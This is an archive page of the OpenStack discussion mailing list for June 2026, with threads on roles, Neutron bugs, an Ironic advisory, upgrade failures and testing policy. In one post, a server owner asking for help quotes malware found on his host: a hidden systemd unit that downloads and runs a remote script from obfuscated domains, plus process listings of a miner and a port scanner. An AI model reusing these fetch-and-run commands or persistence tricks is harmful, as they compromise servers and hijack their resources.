June 2026 - openstack-discuss - lists.openstack.org

Does the reader role work in Antelope?
by Braden, Albert 16 Jun '26

16 Jun '26

I'm trying to use the reader role in an Antelope cluster and it doesn't seem to work. What am I doing wrong? This is my rc file: for i in $(env |grep OS_ |awk -F "=" {'print $1'}); do unset $i; done export OS_AUTH_TYPE=v3kerberos export OS_AUTH_URL=https://api-ext.region.ourdomain.com:5000/krb/v3 export OS_IDENTITY_API_VERSION=3 export OS_USERNAME=username export OS_SYSTEM_SCOPE="all" INITIAL_TOKEN=$(openstack token issue -c id -f value) export OS_AUTH_TYPE="v3token" export OS_TOKEN="$INITIAL_TOKEN" export OS_SYSTEM_SCOPE="all" export OS_AUTH_URL=https://${AUTH}:5000/v3 These are my perms: $ openstack role assignment list --user-domain AUTH.OURDOMAIN.COM --names --user username +------------------+-----------------------+-------+---------------------------+--------+--------+-----------+ | Role | User | Group | Project | Domain | System | Inherited | +------------------+-----------------------+-------+---------------------------+--------+--------+-----------+ | heat_stack_owner | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | DEV-username(a)AUTH.OURDOMAIN.COM<mailto:DEV-username@AUTH.OURDOMAIN.COM> | | | False | | member | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | DEV-username(a)AUTH.OURDOMAIN.COM<mailto:DEV-username@AUTH.OURDOMAIN.COM> | | | False | | heat_stack_owner | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | DEV-test(a)AUTH.OURDOMAIN.COM<mailto:DEV-test@AUTH.OURDOMAIN.COM> | | | False | | member | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | DEV-test(a)AUTH.OURDOMAIN.COM<mailto:DEV-test@AUTH.OURDOMAIN.COM> | | | False | | reader | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | admin@Default | | | False | | reader | username(a)AUTH.OURDOMAIN.COM<mailto:username@AUTH.OURDOMAIN.COM> | | | | all | False | +------------------+-----------------------+-------+---------------------------+--------+--------+-----------+ Output: $ openstack flavor list ForbiddenException: 403: Client Error for url: https://api-ext.region.ourdomain.com:8774/v2.1/flavors/ostck-t2.v2.small.oc…, Policy doesn't allow os_compute_api:os-flavor-extra-specs:index to be performed. $ openstack hypervisor list Policy doesn't allow os_compute_api:os-hypervisors:list-detail to be performed. (HTTP 403) (Request-ID: <ID>)

2 3

[neutron] Bug deputy report for week of June 8th
by Brian Haley 16 Jun '26

16 Jun '26

Hi, I was the Neutron bug deputy last week. Below is a short summary about the reported bugs. -Brian Critical bugs ------------- * https://bugs.launchpad.net/neutron/+bug/2155883 - ovs jobs random fails as server timesout waiting for network-vif-plugged events - https://review.opendev.org/c/openstack/neutron/+/992423 - https://review.opendev.org/c/openstack/os-ken/+/992424 * https://bugs.launchpad.net/neutron/+bug/2156077 - neutron-fwaas functional tests job broken due to missing rootwrap testing.filters file in neutron - https://review.opendev.org/c/openstack/neutron-fwaas/+/992445 High bugs --------- * https://bugs.launchpad.net/neutron/+bug/2156080 - test_subport_connectivity broken with ovn/ovs master job - https://review.opendev.org/c/openstack/neutron/+/992014 * https://bugs.launchpad.net/neutron/+bug/2156315 - functional jobs running on centos fails with Stderr: sudo: /usr/lib/frr/frrinit.sh: command not found - https://review.opendev.org/c/openstack/neutron/+/992580 * https://bugs.launchpad.net/neutron/+bug/2156566 - neutron-ovs-agent crashes on restart with tunneling disabled (tun_br is None) - https://review.opendev.org/c/openstack/neutron/+/993076 * https://bugs.launchpad.net/neutron/+bug/2156611 - Frr functional tests are failing on Centos - https://review.opendev.org/c/openstack/neutron/+/993001 Medium ------ * https://bugs.launchpad.net/neutron/+bug/2155860 - Neutron(ml2_ovs) can orphan DHCP metadata HAProxy processes after namespace removal - Asked if submitter can provide patch based on workaround * https://bugs.launchpad.net/neutron/+bug/2155846 - Quota details API returns 500 when a service plugin package is installed but not configured - https://review.opendev.org/c/openstack/neutron/+/992209 * https://bugs.launchpad.net/neutron/+bug/2156054 - ``enable_default_route_bfd`` and ``enable_default_route_ecmp`` update policies incorrect - https://review.opendev.org/c/openstack/neutron/+/992440 * https://bugs.launchpad.net/neutron/+bug/2156617 - UpdateLRouterPortCommand doesn't update but overwrites existing columns - https://review.opendev.org/c/openstack/neutron/+/993148 * https://bugs.launchpad.net/neutron/+bug/2156642 - Frr test_multiple_routers_then_delete_one test fails on centos - https://review.opendev.org/c/openstack/neutron/+/993240 Low --- * https://bugs.launchpad.net/neutron/+bug/2156444 - Remove OwnershipValidationHook: redundant for subnets, replaceable by policy for ports - https://review.opendev.org/c/openstack/neutron/+/992877 * https://bugs.launchpad.net/neutron/+bug/2156609 - Pecan PolicyHook computes attribute exclusions per item on list responses - https://review.opendev.org/c/openstack/neutron/+/993132 Invalid ------- * https://bugs.launchpad.net/neutron/+bug/2156587 - haproxy-metadata-proxy returns 502 - This could be a downstream issue as they are using Noble with Gazpacho packages from the Ubuntu Cloud Archive. I'm not sure how far our testing has gone given this is ML2/OVS as we only test OVN downstream. Wishlist -------- * https://bugs.launchpad.net/neutron/+bug/2156035 - add way to define additional config files in the neutron-ovn-db-sync util - Slawek assigned to himself

1 0

[OSSA-2026-017] Ironic: Script injection during node boot via linux command line override (CVE-2026-46447)
by Jay Faulkner 16 Jun '26

16 Jun '26

================================================================================ OSSA-2026-017: Script injection during node boot via linux command line override ================================================================================ :Date: June 03, 2026 :CVE: CVE-2026-46447 Affects ~~~~~~~ - Ironic: >=17.0.0 <26.1.7, >=27.0.0 <29.0.6, >=30.0.0 <32.0.2, >=33.0.0 <35.0.2 Description ~~~~~~~~~~~ Dmitry Tantsur (Red Hat) and Tuomo Tanskanen (Ericsson Software Technology) from the Metal3.io Security Team reported a vulnerability in Ironic's kernel command line override code. A user with access to add or modify ``node.driver_info`` or ``node.instance_info`` can create a crafted value to enable iPXE script execution during the boot process. Patches ~~~~~~~ - https://review.opendev.org/c/openstack/ironic/+/991387 (2023.1/antelope (unmaintained)) - https://review.opendev.org/c/openstack/ironic/+/991383 (2024.1/caracal (unmaintained)) - https://review.opendev.org/c/openstack/ironic/+/991380 (2025.1/epoxy) - https://review.opendev.org/c/openstack/ironic/+/991377 (2025.2/flamingo) - https://review.opendev.org/c/openstack/ironic/+/991374 (2026.1/gazpacho) - https://review.opendev.org/c/openstack/ironic/+/991365 (2026.2/hibscus (development)) - https://review.opendev.org/c/openstack/ironic/+/991371 (Bugfix/33.0) - https://review.opendev.org/c/openstack/ironic/+/991368 (Bugfix/34.0) Credits ~~~~~~~ - Dmitry Tantsur from Red Hat - Tuomo Tanskanen from Ericsson Software Technology References ~~~~~~~~~~ - https://bugs.launchpad.net/ironic/+bug/2150624 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46447 Notes ~~~~~ - Releases 2024.1 (caracal) and 2023.1 (antelope) are unmaintained. Patches are provided as a courtesy. Releases 2023.2 (bobcat) and 2024.2 (dalmation) are end of life and have not had patches provided. See https://releases.openstack.org for more information on supported releases. - Ironic bugfix branch patches will be available in git for interested operators. We will not perform an additional release from these branches. - This fix removes the ability to put some valid -- but unlikely -- special characters into kernel command line overrides. There is an escape hatch for impacted clouds; setting ``CONF.conductor.disable_kernel_parameter_parsing`` to true will restrict Ironic to only blocking the most dangerous, nonsensical special characters at the cost of being less security hardened against future attacks.

1 1

[tc][all] OpenStack Technical Committee Meeting Agenda (2026.2/R-15)
by Goutham Pacha Ravi 15 Jun '26

15 Jun '26

Hello Stackers, We're 15 weeks away from the coordinated release of OpenStack 2026.2 "Hibiscus" [1]. There was no TC meeting last week, so this is a short note to let you know we're back at it tomorrow. === Weekly Meeting === The next meeting of the OpenStack TC is on Tuesday, June 16 at 1700 UTC in #openstack-tc on OFTC. Topics can be proposed via the meeting agenda wiki [2]. Hope to see you there. Thank you very much for reading! On behalf of the OpenStack TC, Goutham Pacha Ravi (gouthamr) OpenStack TC Chair [1] 2026.2 "Hibiscus" Release Schedule: https://releases.openstack.org/hibiscus/schedule.html [2] TC Meeting Agenda: https://wiki.openstack.org/wiki/Meetings/TechnicalCommittee#Next_Meeting

1 0

Openstack server hack
by Ahmad Milad Pour 15 Jun '26

15 Jun '26

Hello there, I have an openstack server with one region node and one compute node. I found a bug, that the bug does this: creates files in / called: -rw-r--r-- 1 root root 2578 Jun 5 06:11 .ccc.sh -rwxr-xr-x 1 root root 7599545 Jun 5 06:42 .cccl* -rwxr-xr-x 1 root root 3070960 Jun 4 00:26 .cccma* and in /etc/: -rw-r--r-- 1 root root 6736 Jun 4 00:24 .cc.so and a service called: -rw-r--r-- 1 root root 394 Jun 6 07:20 qqq.service the contents of qqq is changed two times: both files but in my tmp dir: ==> tmp/qqq.service <== [Unit] After=network.target Description=a [Service] User=root Group=root ExecStart=/bin/sh -c '(wget "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x6e\x63\x7a\x7a\x2e\x6f\x6e\x6c\x69\x6e\x65\x2f\x61\x73\x68" -O/.ccc.sh || curl -L "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x6e\x63\x7a\x7a\x2e\x6f\x6e\x6c\x69\x6e\x65\x2f\x61\x73\x68" -o /.ccc.sh); bash /.ccc.sh 52127' [Install] WantedBy=multi-user.target ==> tmp5/qqq.service <== [Unit] After=network.target Description=a [Service] User=root Group=root ExecStart=/bin/sh -c '(wget "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6e\x61\x6e\x61\x63\x68\x69\x61\x70\x70\x72\x6f\x76\x65\x64\x2e\x63\x66\x64\x2f\x61\x73\x68" -O/.ccc.sh || curl -L "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6e\x61\x6e\x61\x63\x68\x69\x61\x70\x70\x72\x6f\x76\x65\x64\x2e\x63\x66\x64\x2f\x61\x73\x68" -o /.ccc.sh); bash /.ccc.sh 41383' [Install] WantedBy=multi-user.target and also i found some other files in /etc/init.d/rondo, adding a crontab in my file If you want, I even can provide you these files to check more. Did anyone face this issue/miner? This is the ps aux output too: root 680 0.0 0.0 2800 1980 ? Ss 06:48 0:00 /bin/sh -c (wget "https://nanachiapproved.cfd/ash" -O/.ccc.sh || curl -L " https://nanachiapproved.cfd/ash" -o /.ccc.sh); bash /.ccc.sh 58637 root 747 0.0 0.1 8004 3788 ? S 06:48 0:00 bash /.ccc.sh 58637 root 927 0.0 0.1 7872 2176 ? S 06:48 0:00 bash /.ccc.sh 58637 root 935 0.5 0.4 309908 8244 ? Sl 06:48 0:42 /.cccig -o 149.88.21.148:10370 -u pozh2 -k root 945 0.0 0.1 7872 2196 ? S 06:48 0:00 bash /.ccc.sh 58637 root 946 0.1 0.5 1230012 10984 ? Sl 06:48 0:08 /.cccl root 1418 12.4 2.3 82660 48260 ? Sl 07:17 11:04 /.cccma --open --open-only -p5900-6000 --banners --source-port 61234 -oD /dev/stdout --exclude 0.0.0.0/8 --exclude 10.0.0.0/8 --exclude 100.64.0.0/10 --exclude 127.0.0.0/8 --exclude 169.254.0.0/16 --exclude 172.16.0.0/12 --exclude 192.0.0.0/24 --exclude 192.0.2.0/24 --exclude 192.88.99.0/24 --exclude 192.168.0.0/16 --exclude 192.18.0.0/15 --exclude 198.51.100.0/24 --exclude 203.0.113.0/24 --exclude 224.0.0.0/4 --exclude 233.252.0.0/24 --exclude 240.0.0.0/4 --exclude 255.255.255.255/32 --exclude 6.0.0.0/7 --exclude 9.0.0.0/8 --exclude 10.0.0.0/7 --exclude 19.0.0.0/8 --exclude 21.0.0.0/7 --exclude 25.0.0.0/7 --exclude 28.0.0.0/8 --exclude 29.0.0.0/7 --exclude 33.0.0.0/8 --exclude 48.0.0.0/8 --exclude 53.0.0.0/8 --exclude 55.0.0.0/7 --exclude 214.0.0.0/7 --rate 150000 47.192.0.0/10 The new domain is nanachiapproved.cfd and the old domain was vnczz.online. I got some more issue more serious than this. Whenever I create a new VM, after some hours I see that these files are in the new server. I even did openstack server create --no-network, but it was still there. I checked the metadata from both database and openstack servershow, and it was fine as expected. I did not find any suspicious thing in the /var/log/cloud-init* files. The thing attended my attention was this: the new server had no network and I did not even log in to its ssh server (I did password expiry set to True, so that after first login I'll have to change it again. I checked this new server and even it had no login (after login, the `last` command was empty and new and syslog and other log files showed no login). I hope I did provide enough evidence to help me. Can you help me about this issue, to find the root cause and find the other files are, to solve it? I can pay for your gratitude if you may help. Regards, Ahmad

2 2

[nova][neutron][ovn] OVN chassis flapping during live migration under memory pressure
by Maximilian Stinsky-Damke 15 Jun '26

15 Jun '26

Hi all, I'm observing unexpected OVN chassis flapping during live migrations of VMs under memory pressure and would appreciate any insights from the community. Setup: * OpenStack 2025.1 * Neutron with OVN backend + ovn-bgp-agent * Two VMs running keepalived in master/backup configuration with a VIP and a floating IP Nova live migration config ([libvirt] section): ``` live_migration_uri = "qemu+ssh://nova@%s/system" live_migration_timeout_action = force_complete live_migration_permit_post_copy = True live_migration_completion_timeout = 60 live_migration_downtime_delay = 5 ``` Reproducing the issue: I induce memory pressure inside the master VM using: `stress-ng --vm 2 --vm-method write64 --vm-bytes 80% --timeout 3200s --vm-keep` Then trigger a live migration of that VM. During the migration, the OVN chassis binding for the VM's port flips back and forth between the source and destination hypervisor. The VM on the destination is consistently in a paused state while this flapping occurs, which is expected during pre-copy live migration, but the chassis flapping is not. The practical consequence is that the ovn-bgp-agent sees repeated chassis changes and oscillates the BGP route announcement between the old and new node, causing intermittent reachability loss for the VIP/FIP. My understanding so far: During pre-copy live migration with memory pressure, dirty pages are written faster than they can be copied, which significantly prolongs the migration. With live_migration_permit_post_copy = True and live_migration_timeout_action = force_complete, Nova will eventually switch to post-copy mode once live_migration_completion_timeout (60s) is exceeded. In post-copy the VM is resumed on the destination and pages are pulled on-demand from the source. What I don't fully understand is why the OVN port binding chassis flaps during the migration rather than performing a clean, single transition. I would expect the chassis to update once when Nova switches to post-copy or the migration completes, not oscillate repeatedly. Is Nova issuing multiple port binding updates during the pre-copy/post-copy transition? Has anyone seen this behaviour or have an idea what might be causing it? Thanks Max!

1 0

[neutron] Drivers meeting canceled Friday, June 12th
by Brian Haley 12 Jun '26

12 Jun '26

Hello Neutrinos: I am going to cancel tomorrow's Drivers meeting as there are no topics on the agenda. Just a reminder that our open spec list is at [0]. Have a nice weekend! -Brian [0] https://review.opendev.org/q/status:open+project:openstack/neutron-specs

1 0

[heat] Upgrade Epoxy to Gazpacho fails during db sync
by Eugen Block 11 Jun '26

11 Jun '26

And one more failure. According to the upgrade notes [0] a new table should be created, but it fails: controller01:~# heat-manage db_sync 2026-06-05 14:44:36.662 970322 INFO heat.db.migration [-] Applying migration(s) 2026-06-05 14:44:36.689 970322 INFO alembic.runtime.migration [-] Context impl MySQLImpl. 2026-06-05 14:44:36.690 970322 INFO alembic.runtime.migration [-] Will assume non-transactional DDL. 2026-06-05 14:44:36.699 970322 INFO alembic.runtime.migration [-] Context impl MySQLImpl. 2026-06-05 14:44:36.699 970322 INFO alembic.runtime.migration [-] Will assume non-transactional DDL. 2026-06-05 14:44:36.706 970322 INFO alembic.runtime.migration [-] Running upgrade c6214ca60943 -> d2db381e3324, Add extra_data column to sync_point table 2026-06-05 14:44:36.778 970322 INFO alembic.runtime.migration [-] Running upgrade d2db381e3324 -> 88be64598c0f, Add resource_snapshot table ERROR: (pymysql.err.OperationalError) (1005, 'Can\'t create table `heat`.`resource_snapshot` (errno: 150 "Foreign key constraint is incorrectly formed")') [SQL: CREATE TABLE resource_snapshot ( id VARCHAR(36) NOT NULL, snapshot_id VARCHAR(36) NOT NULL, resource_name VARCHAR(255) NOT NULL, created_at DATETIME, updated_at DATETIME, data LONGTEXT, PRIMARY KEY (id), FOREIGN KEY(snapshot_id) REFERENCES snapshot (id) )ENGINE=InnoDB ] Is that related to my previous message (heat packaging)? Thanks, Eugen [0] https://docs.openstack.org/releasenotes/heat/2026.1.html#upgrade-notes

3 6

[neutron] neutron-api fails to start after upgrade E to G
by Eugen Block 11 Jun '26

11 Jun '26

Hi, I reported a couple of issues last week from my attempt to upgrade from Epoxy to Gazpacho. I decided to ignore heat and see how far I get upgrading the rest. So I did upgrade all packages and after adopting the new wsgi scripts for nova-api, neutron-api and heat-api on the first node, neutron fails to start: ---snip--- 2026-06-11 15:31:39.689650 File "/usr/lib/python3.12/importlib/__init__.py", line 90, in import_module 2026-06-11 15:31:39.689655 return _bootstrap._gcd_import(name[level:], package, level) 2026-06-11 15:31:39.689659 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 2026-06-11 15:31:39.689670 File "<frozen importlib._bootstrap>", line 1387, in _gcd_import 2026-06-11 15:31:39.689682 File "<frozen importlib._bootstrap>", line 1360, in _find_and_load 2026-06-11 15:31:39.689694 File "<frozen importlib._bootstrap>", line 1331, in _find_and_load_unlocked 2026-06-11 15:31:39.689705 File "<frozen importlib._bootstrap>", line 935, in _load_unlocked 2026-06-11 15:31:39.689717 File "<frozen importlib._bootstrap_external>", line 995, in exec_module 2026-06-11 15:31:39.689728 File "<frozen importlib._bootstrap>", line 488, in _call_with_frames_removed 2026-06-11 15:31:39.689741 File "/usr/lib/python3/dist-packages/neutron/plugins/ml2/plugin.py", line 127, in <module> 2026-06-11 15:31:39.689746 from neutron.db import external_net_db 2026-06-11 15:31:39.689757 File "/usr/lib/python3/dist-packages/neutron/db/external_net_db.py", line 41, in <module> 2026-06-11 15:31:39.689763 constants.ACCESS_READONLY, 2026-06-11 15:31:39.689766 ^^^^^^^^^^^^^^^^^^^^^^^^^ 2026-06-11 15:31:39.689812 AttributeError: module 'neutron_lib.constants' has no attribute 'ACCESS_READONLY' ---snip--- nova-api seems to start correctly, I see output in 'openstack compute service list'. Since the nova-api and neutron-api apache configs are more or less identical, I don't assume that it's some mistake on my side. I couldn't find anything on launchpad with that error message, is that a known issue? Thanks Eugen

2 4

[all][tc] Testing different runtimes for libraries/clients versus services
by Stephen Finucane 11 Jun '26

11 Jun '26

o/ Our per-release supported runtimes currently cover both services and libraries. This means in Hibiscus virtually all of our libraries and clients have no "official" support for Python 3.14, in that the 3.14 jobs that run against them are non-voting and may be broken. This is despite the fact that Python 3.14 was released over 9 months ago and is the default in environments like Fedora 44, which means folks like me are running "untested" software whenever we install e.g. OSC from PyPI. I would like to propose that we tweak the verbiage of our supported runtimes so that all clients and libraries are now expected to support the most recent stable Python version. If possible (and it may not be: I have not discussed this with clarkb and fungi yet), I would also like to go further and add a non-voting job for the next pre-release version of Python (currently 3.15). The combination of these two steps would help ensure we're meeting users where they are and are easing the pressure on distro packagers who are otherwise left to figure out incompatibilities with newer Python versions. Additionally, this would allow resolve concerns of folks like gmaan [1], who have noted that we shouldn't rely on non-voting jobs to signal support for a given version. I believe the impact of this to be minimal to none in comparison to the far more complicated services, particularly if we are able to have testing of pre-release versions. Technically, it would simply be a case of disambiguating between services and clients/libraries in testing, most likely via a separate job template (openstack-client-library- jobs?). Note that we already distinguish between clients and libraries other regards, such as freeze dates. Before I bring this proposal to the TC and figure out technical specifics, does anyone have a strong reason why we shouldn't do this? Cheers, Stephen [1] https://review.opendev.org/c/openstack/oslo.policy/+/992646

5 11